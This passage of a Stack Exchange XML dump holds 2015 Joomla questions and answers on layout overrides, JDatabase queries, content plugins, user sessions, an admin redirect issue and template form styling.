  <row Id="10938" PostTypeId="2" ParentId="10897" CreationDate="2015-07-27T10:12:45.323" Score="1" Body="&lt;p&gt;Finally worked it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so in the layout, you cannot simply use &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; like you would in a view. The object to be used is &lt;code&gt;$displayData&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get the URL param you want, open the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/layouts/joomla/content/blog_style_default_title.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and add the flowing to the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$urls = json_decode($displayData-&amp;gt;urls);&#xA;&#xA;$urlarray = array(&#xA;    array($urls-&amp;gt;urla)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will then see the following code which is used for the article link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, $displayData-&amp;gt;catid, $displayData-&amp;gt;language)); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which needs to be replaced with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($urlarray[0][0])) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $urlarray[0][0]; ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, $displayData-&amp;gt;catid, $displayData-&amp;gt;language)); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add you can see, &lt;code&gt;$urlarray[0][0]&lt;/code&gt; is the variable you now need to use for the &lt;strong&gt;Link A&lt;/strong&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-27T10:12:45.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10939" PostTypeId="1" AcceptedAnswerId="10940" CreationDate="2015-07-27T11:13:39.300" Score="1" ViewCount="5881" Body="&lt;p&gt;I'm having a problem with accessing the administrator site... I googled too much and tried every suggestion that is mentioned in those websites.. but none of them working :S..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going to mysite.com/administrator, it's redirecting me to site.com/homepage (user page) .. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to plugins, I see there &quot;JhackGuard&quot; installed... I tried to rename from php to .bak but still not working... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion ??&lt;/p&gt;&#xA;" OwnerUserId="5633" LastEditorUserId="126" LastEditDate="2015-08-26T15:53:02.507" LastActivityDate="2018-07-20T07:35:54.713" Title="Administration area keeps redirecting to homepage" Tags="|php|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostTypeId="2" ParentId="10939" CreationDate="2015-07-27T11:29:32.687" Score="2" Body="&lt;p&gt;Did you tried to disable the plugin through the database?&#xA;In table &quot;prefix_extensions&quot;  at column &quot;enabled&quot; just replace 1 to 0.&#xA;It works for similar extensions.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-07-27T11:29:32.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10941" PostTypeId="1" CreationDate="2015-07-27T11:39:15.927" Score="1" ViewCount="799" Body="&lt;p&gt;I'm wondering if someone can help me, or maybe point out a good plugin/extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a return to previous page button, but I need to insert it as a menu item, does anyone know of a way to achieve this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you &lt;/p&gt;&#xA;" OwnerUserId="1582" LastEditorUserId="126" LastEditDate="2015-08-26T21:41:27.207" LastActivityDate="2015-08-26T21:41:27.207" Title="Return to previous page menu item" Tags="|joomla-3.x|php|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10943" PostTypeId="1" CreationDate="2015-07-27T15:29:12.257" Score="1" ViewCount="99" Body="&lt;p&gt;Basically, I want to display the &quot;Add to Cart&quot; block of j2store component in a particular position of my com_content template override.&#xA;Any idea how can I do that? Thanks a bunch&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="126" LastEditDate="2015-08-11T10:51:47.187" LastActivityDate="2015-08-11T10:51:47.187" Title="Combine two components in one template override" Tags="|template-override|com-content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10944" PostTypeId="2" ParentId="10941" CreationDate="2015-07-27T15:41:36.607" Score="2" Body="&lt;p&gt;I don't know of any extension that does this for you, but you can use Javascripts &lt;code&gt;history.go(-1)&lt;/code&gt; feature which will do the same as clicking the &quot;back&quot; button on your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a menu menu item, I would normally suggest using Joomla's Menu Manager, however it won't be the most dynamic method in your case. Therefore I'd suggest using jQuery for this, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    $('.menu').prepend('&amp;lt;li&amp;gt;&amp;lt;a href=&quot;javascript:history.go(-1)&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;');&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will of course need to change &lt;code&gt;.menu&lt;/code&gt; to the class or ID that is associated with your menu's &lt;code&gt;UL&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-27T15:41:36.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostTypeId="1" AcceptedAnswerId="10950" CreationDate="2015-07-27T16:34:36.867" Score="1" ViewCount="655" Body="&lt;p&gt;I have a plugin that adds a couple extra fields to com_content. I've already sorted out how to add the fields to the frontend editing form, so that they're displayed and saved appropriately, that is working fine for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is have users fill in one field, and then, when the form is submitted, get the data from that field, manipulate it, and save a variant of that to another field, and have both saved to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example. A user fills in the video_url field with &quot;&lt;a href=&quot;https://www.youtube.com/watch?v=uO59tfQ2TbA&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=uO59tfQ2TbA&lt;/a&gt;&quot;. When the form is submitted, I get the contents of video_url, manipulate it to isolate the youtube video ID, and then save that to video_id as &quot;uO59tfQ2TbA&quot;, and add that to the data saved to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could use the onContentBeforeSave plugin event, but I think I'm doing something wrong, though, because it's not working lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got so far. (to keep the logic simple and figure out how to actually save this second field, I'm currently just copying the first field into the second ... or attempting to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave ($context, &amp;amp;$article, &amp;amp;$isNew)&#xA;    {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;        $layout = $app-&amp;gt;input-&amp;gt;get('layout');&#xA;&#xA;        if($option == 'com_content' &amp;amp;&amp;amp; $layout == 'edit') {&#xA;            $video_url = $_POST['jform']['attribs']['video_url'];&#xA;            $video_id = $video_url;&#xA;            $attribs-&amp;gt;video_id = $video_id;&#xA;&#xA;            $article-&amp;gt;attribs = json_encode($attribs);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help? I'm trying to figure this out as I go, haven't done this before.&lt;/p&gt;&#xA;" OwnerUserId="5632" LastEditorUserId="5632" LastEditDate="2015-07-27T21:59:13.183" LastActivityDate="2015-07-28T02:52:29.107" Title="Add Content Field Data on form submit" Tags="|joomla-3.x|plugin|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostTypeId="2" ParentId="10921" CreationDate="2015-07-27T17:07:41.160" Score="2" Body="&lt;p&gt;while I'm not sure why the drag-and-drop order behavior isn't working for you, for modules at least, if you open the module there is an 'Ordering' configuration option that lets you select the order it should appear in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a dumb question, but does your cursor change to the 4-way arrows before you grab the item to drag it?&lt;/p&gt;&#xA;" OwnerUserId="5632" LastActivityDate="2015-07-27T17:07:41.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10947" PostTypeId="2" ParentId="9721" CreationDate="2015-07-27T22:28:09.290" Score="4" Body="&lt;p&gt;The above answer from @Lodder is correct, but you will also need to wrap the function with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('yourFunctionname')) {&#xA;    // ... proceed to declare your function&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do not, you can only render this function once per page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So altogether it should look like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mitarbeiter = $params-&amp;gt;get('mitarbeiter');&#xA;$json = json_decode($mitarbeiter, true);&#xA;&#xA;if (!function_exists('group_by_key')) {&#xA;  public function group_by_key($array) &#xA;  {&#xA;      $result = array();&#xA;&#xA;      foreach ($array as $sub) &#xA;      {&#xA;          foreach ($sub as $k =&amp;gt; $v) &#xA;          {&#xA;              $result[$k][] = $v;&#xA;          }&#xA;      }&#xA;      return $result;&#xA;  }&#xA;}&#xA;$filtered_array = group_by_key($json);&#xA;&#xA;foreach ($filtered_array as $index=&amp;gt;$value) &#xA;{   &#xA;    echo $value[0] . '&amp;lt;br&amp;gt;';   // mitarbeitername&#xA;    echo $value[1] . '&amp;lt;br&amp;gt;';   // mitarbeiterfunktion&#xA;    echo $value[2] . '&amp;lt;br&amp;gt;';   // mitarbeitertelefonnummer&#xA;    echo $value[3] . '&amp;lt;br&amp;gt;';   // mitarbeiteremail&#xA;    echo $value[4] . '&amp;lt;br&amp;gt;';   // mitarbeiterbild&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5400" LastEditorUserId="7779" LastEditDate="2016-02-13T19:14:28.883" LastActivityDate="2016-02-13T19:14:28.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10948" PostTypeId="1" CreationDate="2015-07-27T23:56:10.700" Score="1" ViewCount="1361" Body="&lt;p&gt;I am probably over thinking this. I am building a module that should get values from the content table. Currently (I have tried many different variations) I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class getIt&#xA;{&#xA;    //Query our content table using the built in JFactory class, and loadAssocList() function. &#xA;    // this function returns an indexed array of objects from the table&#xA;    public function getMainQuery()&#xA;    {   &#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'title', 'introtext', 'images', 'fulltext')));&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__content'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('state') . ' = '. $db-&amp;gt;quote('1'));&#xA;        $query-&amp;gt;order('ordering DESC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $res = $db-&amp;gt;loadAssocList();&#xA;&#xA;        foreach ($res as $row)&#xA;        {&#xA;            foreach ($row as $innerRow =&amp;gt; $value)&#xA;            {&#xA;                print_r($innerArray,$value);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately I wan to get the results via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list = new getIt();&#xA;print_r($list-&amp;gt;getMainQuery(2,4));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;2 and 4 == $arg1, $arg2&lt;/code&gt;. I can't figure how to properly assign variables to the array values in the loop. &lt;/p&gt;&#xA;" OwnerUserId="5641" LastEditorUserId="168" LastEditDate="2015-07-28T08:12:32.507" LastActivityDate="2015-07-31T10:25:05.043" Title="How to get specific values from query array, using arguments" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="2" ClosedDate="2019-02-04T12:35:22.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostTypeId="2" ParentId="10948" CreationDate="2015-07-28T00:55:39.790" Score="1" Body="&lt;p&gt;I may not be understanding you correctly, but you just want a specific value?  Then use loadObject();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('state');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__content'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('id').&quot; = &quot;.$db-&amp;gt;quote('1'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;print_r($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this I am selecting the state value where the id is === to 1.  &lt;/p&gt;&#xA;" OwnerUserId="5400" LastEditorUserId="5400" LastEditDate="2015-07-31T10:25:05.043" LastActivityDate="2015-07-31T10:25:05.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostTypeId="2" ParentId="10945" CreationDate="2015-07-28T02:45:49.987" Score="1" Body="&lt;p&gt;after finding an obscure tutorial with a kind-of-sort-of related intent, I finally sorted out how to do this lol. Here's what I ended up with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context, $article, $isNew)&#xA;    {&#xA;&#xA;        // getting the data from the submitted content&#xA;        $attribs = json_decode($article-&amp;gt;attribs);&#xA;&#xA;        //logic/code for the process of getting the url, etc. goes here&#xA;&#xA;        // adding my updated field content to the attributes&#xA;        $attribs-&amp;gt;video_id = $vim_id;&#xA;&#xA;        //Set the new $attribs object for the article&#xA;        $article-&amp;gt;attribs = json_encode($attribs);&#xA;&#xA;        return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that allows me to get information submitted in the form, manipulate it, add to it, change it, etc., and then put it back in right before it is saved to the database.&lt;/p&gt;&#xA;" OwnerUserId="5632" LastActivityDate="2015-07-28T02:45:49.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostTypeId="2" ParentId="10945" CreationDate="2015-07-28T02:52:29.107" Score="0" Body="&lt;p&gt;If I was understanding correctly, was just about to suggest a front-enders solution with a keydown() that records one value from your first field to the second which then uses split().&lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-28T02:52:29.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10952" PostTypeId="1" CreationDate="2015-07-28T04:44:38.693" Score="2" ViewCount="68" Body="&lt;p&gt;I've been looking at some httpd threads with strace and noticed a ton of locations that are incorrect:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;access(&quot;/var/www/html/libraries/cms/database/database.php&quot;, F_OK) = -1&#xA;  ENOENT (No such file or directory) &amp;lt;0.000029&gt;&#xA;  access(&quot;/var/www/html/libraries/joomla/database/database.php&quot;, F_OK) =&#xA;  0 &amp;lt;0.000029&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;access(&quot;/var/www/html/libraries/cms/database/query.php&quot;, F_OK) = -1&#xA;  ENOENT (No such file or directory) &amp;lt;0.000028&gt;&#xA;  access(&quot;/var/www/html/libraries/joomla/database/query.php&quot;, F_OK) = 0&#xA;  &amp;lt;0.000029&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;access(&quot;/var/www/html/libraries/cms/database/query/mysqli.php&quot;, F_OK)&#xA;  = -1 ENOENT (No such file or directory) &amp;lt;0.000029&gt; access(&quot;/var/www/html/libraries/joomla/database/query/mysqli.php&quot;,&#xA;  F_OK) = 0 &amp;lt;0.000033&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are hundreds of these. Seems that these httpd threads look in the cms directory first but then correctly go to the joomla directory after. I think the &quot;cms&quot; directory is an old Joomla convention. Individually the impact is quite small but adding hundreds of these certainly adds up (timing wise). Anyone know what is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;access(&quot;/var/www/html/libraries/cms/application/web.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000029&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/application/base.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000029&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/filter/input.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000029&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/registry/registry.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000028&amp;gt;&#xA;access(&quot;/var/www/html/libraries/joomla/registry/registry.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000027&amp;gt;&#xA;access(&quot;/var/www/html/libraries/legacy/registry/registry.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000027&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/uri/uri.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000029&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/string/string.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.010800&amp;gt;&#xA;access(&quot;/var/www/html/libraries/cms/event/dispatcher.php&quot;, F_OK) = -1 ENOENT (No such file or directory) &amp;lt;0.000029&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the list goes on and on.&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="126" LastEditDate="2015-08-26T21:40:43.807" LastActivityDate="2015-08-26T21:40:43.807" Title="Http access threads going to incorrect Joomla directory" Tags="|joomla-3.x|server|error-pages|logs|" AnswerCount="0" CommentCount="5" ClosedDate="2015-10-29T18:23:25.313" ContentLicense="CC BY-SA 3.0" />
  <row Id="10953" PostTypeId="1" CreationDate="2015-07-28T08:36:46.313" Score="1" ViewCount="424" Body="&lt;p&gt;I've made a Registered Joomla site, which means that you have to have a login to access the site itself. I can put articles, menulinks, modules all behind a &quot;Registered&quot;, and thus it isn't accessible for public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem however lies in the fact that the attachments of the articles are public accessible, I cannot put them behind a &quot;Registered&quot; to not have it publicly available. How can I fix this? How can I get the images folder to be behind a &quot;Registered&quot; as well?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2015-07-30T05:44:00.110" Title="Registered Joomla site, images folder and files are still accessible" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10955" PostTypeId="1" AcceptedAnswerId="10957" CreationDate="2015-07-28T09:11:57.413" Score="1" ViewCount="959" Body="&lt;p&gt;I need to transform a simple php query into a query that &lt;code&gt;JDATABASE&lt;/code&gt; will understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$resDays        = 7;                // On how many days to build the top?&#xA;$resLimit       = 20;               // How many results to display?&#xA;&#xA;$query = &quot;SELECT `artist`, title, count(*) AS tracks FROM `history&#xA;          WHERE TIMESTAMPDIFF(DAY, `date_played`, NOW()) &amp;lt;= &quot; . $resDays . &quot;&#xA;          AND `song_type`=0 GROUP BY title ORDER BY tracks DESC LIMIT 0,&quot; . $resLimit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what I managed to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('artist', 'title')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('history'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$query-&amp;gt;setLimit(20);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't know how to include in my query the missing parts like &lt;code&gt;ORDER tracks&lt;/code&gt; or &lt;code&gt;count(*) AS tracks&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5644" LastEditorUserId="12352" LastEditDate="2018-04-22T09:19:21.543" LastActivityDate="2018-06-21T08:12:31.190" Title="Transforming a Query for JDATABASE" Tags="|php|mysql|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10956" PostTypeId="1" AcceptedAnswerId="10959" CreationDate="2015-07-28T09:26:07.180" Score="1" ViewCount="1905" Body="&lt;p&gt;I recently started playing with Joomla. So I found out that Joomla has a built-in user creation and log-in system even for the users of the front site. So I was wondering, what is the way to retrieve the details of a user's session, most importantly the username, and any other one, to produce personalized content,e.g. in a php script, when that user makes a request to the site?&lt;/p&gt;&#xA;" OwnerUserId="5646" LastActivityDate="2015-07-28T09:36:33.500" Title="Get session information of logged-in user" Tags="|php|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10957" PostTypeId="2" ParentId="10955" CreationDate="2015-07-28T09:29:53.610" Score="2" Body="&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('artist', 'title')));&#xA;$query-&amp;gt;select('COUNT(*) AS tracks');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('history'));&#xA;$query-&amp;gt;where('TIMESTAMPDIFF(DAY, date_played, NOW()) &amp;lt;= ' . $db-&amp;gt;quote($resDays));&#xA;$query-&amp;gt;where('song_type = 0');&#xA;$query-&amp;gt;group('title');&#xA;$query-&amp;gt;order('tracks DESC');&#xA;&#xA;// Set the query + limit&#xA;$db-&amp;gt;setQuery($query, 0, $resLimit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can test how your query looks like with $query-&gt;dump();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-28T09:29:53.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10958" PostTypeId="2" ParentId="10955" CreationDate="2015-07-28T09:30:38.013" Score="1" Body="&lt;p&gt;The &lt;code&gt;GROUP BY&lt;/code&gt; can be achieved using &lt;code&gt;-&amp;gt;group(...)&lt;/code&gt; and the &lt;code&gt;ORDER BY&lt;/code&gt; can be achieved using &lt;code&gt;-&amp;gt;order(...)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your full query would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;      -&amp;gt;select(&#xA;          array(&#xA;            $db-&amp;gt;quoteName('artist'),&#xA;            $db-&amp;gt;quoteName('title'),&#xA;            'COUNT(*) AS ' . $db-&amp;gt;quoteName('tracks')&#xA;          )&#xA;      )&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('history'))&#xA;      -&amp;gt;where('TIMESTAMPDIFF(DAY, ' . $db-&amp;gt;quoteName('date_played') . ', NOW()) &amp;lt;= ' . $db-&amp;gt;quote($resDays))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('song_type') . ' = 0')&#xA;      -&amp;gt;group($db-&amp;gt;quoteName('title'))&#xA;      -&amp;gt;order($db-&amp;gt;quoteName('tracks') . ' DESC')&#xA;      -&amp;gt;setLimit(20);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not entirely 100% sure about the &lt;code&gt;where&lt;/code&gt; clause that I've written for you. Have a test and let me know if it works.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2018-06-21T08:12:31.190" LastActivityDate="2018-06-21T08:12:31.190" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="10959" PostTypeId="2" ParentId="10956" CreationDate="2015-07-28T09:36:33.500" Score="0" Body="&lt;p&gt;To get the details of a logged in user use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $user variable will contain your needed information from the database, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email = $user-&amp;gt;email;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use var_dump($user); to see what other fields you have available.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-28T09:36:33.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10960" PostTypeId="1" AcceptedAnswerId="10968" CreationDate="2015-07-28T09:53:26.383" Score="3" ViewCount="728" Body="&lt;p&gt;I'm making my own template for joomla 3.x first time around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I click on a module to edit it, and I get the Joomla form for front-end editing, the skin/style is only &quot;half there&quot;? So to speak. Main 3 buttons are shown ok, so are lists and fields. But buttons like show/hide/publish/unpublish... in the form are just text without any button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of looks it all seems to function properly, but the buttons just don't render as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it has to do something with the fact that I rely chiefly on bootstrap? I compared with default templates like protostar and they all load their own .css instead of bootstrap. But even when I copied all the code from their .css to mine - it still didn't work, so I guess it's not just the problem with how things are styled but the way classes of buttons get defined? (If that's the right way to call it?). What I mean is that if we take for example, &quot;Show&quot; button in the form, using the protostar template, it will show in firebug as: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;label.btn.active.btn-success.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with HTML code being&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;btn active btn-success&quot; for=&quot;jform_showtitle0&quot;&amp;gt;Show&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where does that code come from, I honestly don't know, must be from bootstrap? I guess?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile when I apply my template, it just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;label&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With HTML code being&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;jform_showtitle0&quot;&amp;gt;Show&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So that's for the buttons like show/hide/published etc.&#xA;Meanwhile buttons like Save/Save &amp;amp; Close/Cancel all appear ok with only the icons missing from them.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I control this form styling? Where should I look? What to do so that it gives me the proper HTML coding instead of the one resulting in just &quot;label&quot; and Show?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And most of all, what to do to turn those buttons in the form like they are in protostar theme?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm attaching links to the image which shows both my custom theme under inspection in Firefox. And the protostar theme for comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xQGcX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xQGcX.jpg&quot; 